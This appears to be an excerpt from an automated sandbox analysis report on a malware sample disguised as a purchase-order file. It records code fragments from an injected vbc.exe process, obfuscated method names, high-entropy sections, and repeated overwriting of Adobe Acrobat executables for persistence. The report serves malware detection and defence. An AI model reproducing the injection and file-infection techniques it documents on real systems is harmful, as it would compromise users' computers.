Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0041C40C push cs; iretd	9_2_0041C4E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0041C50E push cs; iretd	9_2_0041C4E2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_004231C8 push eax; ret	9_2_00423179
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_0041C6BE push ebx; ret	9_2_0041C6BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F4B180 push 00F4B0CAh; ret	9_2_00F4B061
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F4B180 push 00F4B30Dh; ret	9_2_00F4B1E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F4B180 push 00F4B2F2h; ret	9_2_00F4B262
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F4B180 push 00F4B255h; ret	9_2_00F4B2ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F4B180 push 00F4B2D0h; ret	9_2_00F4B346
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F4B180 push 00F4B37Fh; ret	9_2_00F4B3B7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F4A915 push 00F48933h; ret	9_2_00F48930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 9_2_00F4A915 push 00F48D6Dh; ret	9_2_00F48DFE

Source: RFQ_PO N89397-GM7287-Order.bat.exe	Static PE information: section name: .text entropy: 7.887666262860419
Source: YRtQgzFlDnVSru.exe.0.dr	Static PE information: section name: .text entropy: 7.887666262860419
Source: Aut2exe.exe.9.dr	Static PE information: section name: .rsrc entropy: 7.800655830974613
Source: Aut2exe_x64.exe.9.dr	Static PE information: section name: .rsrc entropy: 7.800504507977463
Source: AppVClient.exe.9.dr	Static PE information: section name: .reloc entropy: 7.9365361070490295
Source: AutoIt3_x64.exe.9.dr	Static PE information: section name: .reloc entropy: 7.943953658764053
Source: SciTE.exe.9.dr	Static PE information: section name: .reloc entropy: 7.912336457307507
Source: jucheck.exe.9.dr	Static PE information: section name: .reloc entropy: 7.931094323205373
Source: jusched.exe.9.dr	Static PE information: section name: .reloc entropy: 7.936067113605391
Source: FXSSVC.exe.9.dr	Static PE information: section name: .reloc entropy: 7.942287638561988
Source: elevation_service.exe.9.dr	Static PE information: section name: .reloc entropy: 7.943956705190361
Source: elevation_service.exe0.9.dr	Static PE information: section name: .reloc entropy: 7.9459835225835755
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe.9.dr	Static PE information: section name: .reloc entropy: 7.934784500246349
Source: 117.0.5938.134_117.0.5938.132_chrome_updater.exe0.9.dr	Static PE information: section name: .reloc entropy: 7.93478291358013
Source: SensorDataService.exe.9.dr	Static PE information: section name: .reloc entropy: 7.935395435122308
Source: Spectrum.exe.9.dr	Static PE information: section name: .reloc entropy: 7.9454653789250385
Source: AgentService.exe.9.dr	Static PE information: section name: .reloc entropy: 7.937144343259236
Source: vds.exe.9.dr	Static PE information: section name: .reloc entropy: 7.9410811809386175
Source: VSSVC.exe.9.dr	Static PE information: section name: .reloc entropy: 7.939554200415346
Source: wbengine.exe.9.dr	Static PE information: section name: .reloc entropy: 7.941302126952605
Source: wmpnetwk.exe.9.dr	Static PE information: section name: .reloc entropy: 7.946626206660949

Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.raw.unpack, FZaOUuOPvnEAfIAr0M.cs	High entropy of concatenated method names: 'lEA0fIAr0', 'tZCA8AZk9', 'gXO9bmMm8', 'DGw7NTeNK', 'Om2dkTqQy', 'EZYgaiyMO', 'Dispose', 'FZaOOUuPv', 'pv8tyvFJFxYXZkDera', 'y16QeXgcC0F7yngarN'
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.raw.unpack, GtaAIbrHXObmMm8GPA.cs	High entropy of concatenated method names: 't43wlqHDE', 'b331V9lSR', 'y0lQR8D9G', 'PPrmXmJxA', 'CF9acgM2i', 'eykiYV7wh', 'vSMVwpZMk', 'kxKJsuLoh', 'Ny8e5Nb61', 'qdOCMMDun'
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.81e0000.4.raw.unpack, kAOj1Y7pfP90kycNNw.cs	High entropy of concatenated method names: 'lb2Ia3XrDtd392xi2Tb', 'XJIblTXQXnFqByJBCJm', 'uLEr9lUTy0', 'Y8R45UX8CExDEFrtuqs', 'ye0NJSX7mZWAZIVVpiG', 'WY1PxJXMKygj5Preg16', 'ELG2kXXJWTZduCJNQBl', 'RgtTUJcyZL', 'wUUrNltvEH', 'CJErdEKrT9'
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.raw.unpack, FZaOUuOPvnEAfIAr0M.cs	High entropy of concatenated method names: 'lEA0fIAr0', 'tZCA8AZk9', 'gXO9bmMm8', 'DGw7NTeNK', 'Om2dkTqQy', 'EZYgaiyMO', 'Dispose', 'FZaOOUuPv', 'pv8tyvFJFxYXZkDera', 'y16QeXgcC0F7yngarN'
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.raw.unpack, GtaAIbrHXObmMm8GPA.cs	High entropy of concatenated method names: 't43wlqHDE', 'b331V9lSR', 'y0lQR8D9G', 'PPrmXmJxA', 'CF9acgM2i', 'eykiYV7wh', 'vSMVwpZMk', 'kxKJsuLoh', 'Ny8e5Nb61', 'qdOCMMDun'
Source: 0.2.RFQ_PO N89397-GM7287-Order.bat.exe.4a424e8.1.raw.unpack, kAOj1Y7pfP90kycNNw.cs	High entropy of concatenated method names: 'lb2Ia3XrDtd392xi2Tb', 'XJIblTXQXnFqByJBCJm', 'uLEr9lUTy0', 'Y8R45UX8CExDEFrtuqs', 'ye0NJSX7mZWAZIVVpiG', 'WY1PxJXMKygj5Preg16', 'ELG2kXXJWTZduCJNQBl', 'RgtTUJcyZL', 'wUUrNltvEH', 'CJErdEKrT9'

Persistence and Installation Behavior

Creates files in the system32 config directory

Source: C:\Windows\System32\alg.exe

File created: C:\Windows\system32\config\systemprofile\AppData\Roaming\f1a1dcf99c90d829.bin

Drops executable to a common third party application directory

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcrobatInfo.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrobat_sl.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroCEF\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File written: C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe	Jump to behavior
